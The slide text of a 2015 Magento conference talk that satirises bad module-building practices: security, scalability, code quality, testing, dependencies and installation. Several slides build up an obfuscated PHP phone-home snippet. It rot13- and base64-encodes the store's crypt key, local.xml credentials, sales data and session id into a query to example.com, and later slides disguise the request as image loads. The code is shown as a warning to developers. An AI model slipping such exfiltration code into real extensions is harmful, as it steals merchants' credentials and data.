[Meet Magento 2015, Germany] In this presentation I'll show some pure evil bad practices that somehow made it into way too many Magento modules out there making it hard to integrate, adapt, scale, debug, secure or extend your project. Join this presentation and help making the Magento module ecosystem be a better place instead by spotting these "code smells" in your modules or the modules you're using.

1. Pure Evil
How to Build a
Meet Magento 2015 – Leipzig, Germany
Fabrizio Branca
Magento Module

3. fbrnc
fbrnc

4. San Francisco, CA
Janine
Fiona
that’s me
Leo

5. Lake Tahoe, California

6. 87.44%*of all modules
(both paid or free)
are known to be a
major risk

7. *Note:
Some statistics in this presentation
may or may not
be randomly made up
based on wild guesses.

8. Goals
help you spot
evil modules and
avoid installing
them
1 motivate vendors
to rethink their
“best practices”
2 make YOU write
better modules
3

9. Disclaimer:
Persons (or Companies)
Living or Dead Is
Purely Coincidental
Any Similarity to

10. Magento Module
How to Build a Pure Evil
in 51 simple steps
Okay, let’s get started:
7

11. Name

12. http://magename.me/
Mage ProGento

13. Security

14. http://example.com/news.xml

15. Annoying,
huh?

16. http://example.com/news.xml
?rlWgMKAmLJqyVwbvV09jMJ5
Go3IlL2IFo2AeplRvsD%3Q%3Q
…and how do you
feel about this?!

17. “http://example.com/news.xml?”.

18. “http://example.com/news.xml?”.
str_rot13(urlencode(base64_encode(json_encode(array(
'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version
)))));

19. “http://example.com/news.xml?”.
str_rot13(urlencode(base64_encode(json_encode(array(
'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version,
'magento_version' => Mage::getVersion()
)))));

20. “http://example.com/news.xml?”.
str_rot13(urlencode(base64_encode(json_encode(array(
'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version,
'magento_version' => Mage::getVersion(),
'install_date' => Mage::getConfig()->getNode('global/install/date')
)))));

21. “http://example.com/news.xml?”.
str_rot13(urlencode(base64_encode(json_encode(array(
'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version,
'magento_version' => Mage::getVersion(),
'install_date' => Mage::getConfig()->getNode('global/install/date'),
'lifetime_sales' => $sales->getLifetime(),
'average_orders' => $sales->getAverage()
)))));

22. “http://example.com/news.xml?”.
str_rot13(urlencode(base64_encode(json_encode(array(
'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version,
'magento_version' => Mage::getVersion(),
'install_date' => Mage::getConfig()->getNode('global/install/date'),
'lifetime_sales' => $sales->getLifetime(),
'average_orders' => $sales->getAverage(),
'crypt_key' => Mage::getConfig()->getNode('global/crypt/key')
)))));

23. “http://example.com/news.xml?”.
str_rot13(urlencode(base64_encode(json_encode(array(
'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version,
'magento_version' => Mage::getVersion(),
'install_date' => Mage::getConfig()->getNode('global/install/date'),
'lifetime_sales' => $sales->getLifetime(),
'average_orders' => $sales->getAverage(),
'crypt_key' => Mage::getConfig()->getNode('global/crypt/key'),
'local.xml' => file_get_contents('app/etc/local.xml')
)))));

24. “http://example.com/news.xml?”.
str_rot13(urlencode(base64_encode(json_encode(array(
'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version,
'magento_version' => Mage::getVersion(),
'install_date' => Mage::getConfig()->getNode('global/install/date'),
'lifetime_sales' => $sales->getLifetime(),
'average_orders' => $sales->getAverage(),
'crypt_key' => Mage::getConfig()->getNode('global/crypt/key'),
'local.xml' => file_get_contents('app/etc/local.xml'),
'session_id' => Mage::getSingleton('core/session')->getEncryptedSessionId()
)))));

25. You need to trust
EVERY. SINGLE. LINE.
you deploy to your server!

26. Average number of modules
~10
Launch
>100
After 2 years
per Magento store
https://twitter.com/ProductPaul/status/584393641575088128
Note: sample size may or may not be significant.

27. malicious
vulnerable
vs

28. Scalability
Performance

29. Chances your module ends
up on an installation with …
…more products
than on your
devbox
…a higher order
volume than on
your devbox
…more
concurrent users
than on your
devbox
73.25% 80.77% 98.53%

30. “Alwaysdoqueries
insideloopstosupport
salesoffullpagecache
extensions.”
http://meta.magento.stackexchange.com/questions/288/funny-
useless-horrible-code-from-magento-extensions

31. Assume all instances
Problem:
share a file system

32. If your infrastructure
looks more like this:

33. Route 53
ELB
CloudFront:
Theme (JS/CSS,…)
CloudFront:
media files
Internet
S3:
media
files
S3: build
packages
Continuous
Integration
Pipeline (Jenkins)
OpsWorks
Availability Zone
AWS
CloudFormation
CloudWatch
✓
✓inherently fault tolerant
✓
✓ ✓ ✓
✓
Redis:
Sessions
Redis:
Cache Backend
RDS DB
instance
RDS DB
instance standby
(Multi-AZ)
✓ ✓
Auto Scaling Group
Frontend Layer Backend Layer
Worker Layer
Varnish Layer
Data Layer
RDS DB Read
replica (for
reports)
Redis:
Full page cache
backend
✓
Production
Stack
External Services
(Fulfillment, DRM,
Giftcards,…)
SES:
Transactional
emails
✓
SQS:
Queue
✓
“Stack”
(= Environment)
“Layers”
App Instances

34. rather than this:

35. Internet

36. then you most likely don’t
have a shared file system

37. Please do not let your “configurable theme”
dynamically generate skin files
with custom CSS values.

38. How do you handle…
version control?
multi-server setups?
auto-scaling?
file permissions?

39. Code
Quality

40. ini_set
display_errors
memory_limit
max_execution_time
shutdown_function
spl_autoload_register
…
Don’t mess with
PHP

41. Rewrites of important classes
Overwrites
Core Hacks
Events
Framework behavior
Core Concepts
Compilation
…
Don’t mess with
Magento
…unless this is what
your module
is all about

43. <?xml version="1.0"?>
<config>
<global>
<events>
<controller_action_predispatch>
<observers>
<magegento_pro_license_check>
<class>magegento_pro/observer</class>
<method>licenseCheck</method>
</magegento_pro_license_check>
<magegento_pro_update_check>
<class>magegento_pro/observer</class>
<method>updateCheck</method>
</magegento_pro_update_check>
</observers>
</controller_action_predispatch>
</events>
</global>
</config>

44. Be
readable

45. foreach ($collection as $product) {
/* @var $product Mage_Core_Model_Product */
...
}
Be
specific

46. !is_null($adminKey) && $adminKey != ''
&& $request['auth']['admin_key'] = $adminKey;
Don’t Be
fancy

47. I don’t always test my code.
But when I do
I do it on production.

48. Testcases?
That’s only
for over-achievers!

49. Jenkins Travis CI
Use Jenkins to implement a
full deployment pipeline for
your projects!
Test our Open Source
Magento modules
with Travis CI!

50. Dependencies
PHP version &
extensions
3rd party
libraries
3rd party
services
other Magento
modules

51. 1. Avoid Dependencies
2. Declare Dependencies
any dependency
increases the
complexity
significantly

57. Teacher
Syndrome*
*http://www.urbandictionary.com/define.php?term=Teacher+Syndrome

59. http://example.com/logo.gif
?rlWgMKAmLJqyVwbvV09jMJ5
Go3IlL2IFo2AeplRvsD%3Q%3Q

60. http://example.com/clear.gif
?rlWgMKAmLJqyVwbvV09jMJ5
Go3IlL2IFo2AeplRvsD%3Q%3Q

61. ZZZ_MageGento_Pro.xml
app/etc/modules/

62. Installation
Support

63. discover use
code
review
add
modman
add
composer
git integrate test
deploy
The Right Thing™
download
good luck
with that!
pay $xx
to author
provide FTP
access
seriously?!
one-click
install
Module Installation
upload
“Step 1”
upload
“Step 2”
clear
caches

64. You need to trust
EVERY. SINGLE. LINE.
you deploy to your server!

65. How do you handle…
version control?
multi-server setups?
auto-scaling?
file permissions?

66. Transparency

67. Find your sweet spot
GitHub ionCube

68. Find your sweet spot
GitHub ionCube

69. Find your sweet spot
GitHub ionCube

70. https://twitter.com/benmarks/status/593807195768127488

71. Forecast
risk a new
module crashes
your store
developer
happiness

72. http://freakonomics.com/2015/01/15/thats-a-great-question-a-new-freakonomics-radio-podcast/
Chances a speaker begins his answer with
“That’s a great question!”(...even if the question
wasn’t that great.)
78.84%
USA
23.47%
Europe

73. Thank you!
http://www.aoe.com
http://fbrnc.net
@fbrnc
Follow me on twitter!
My blog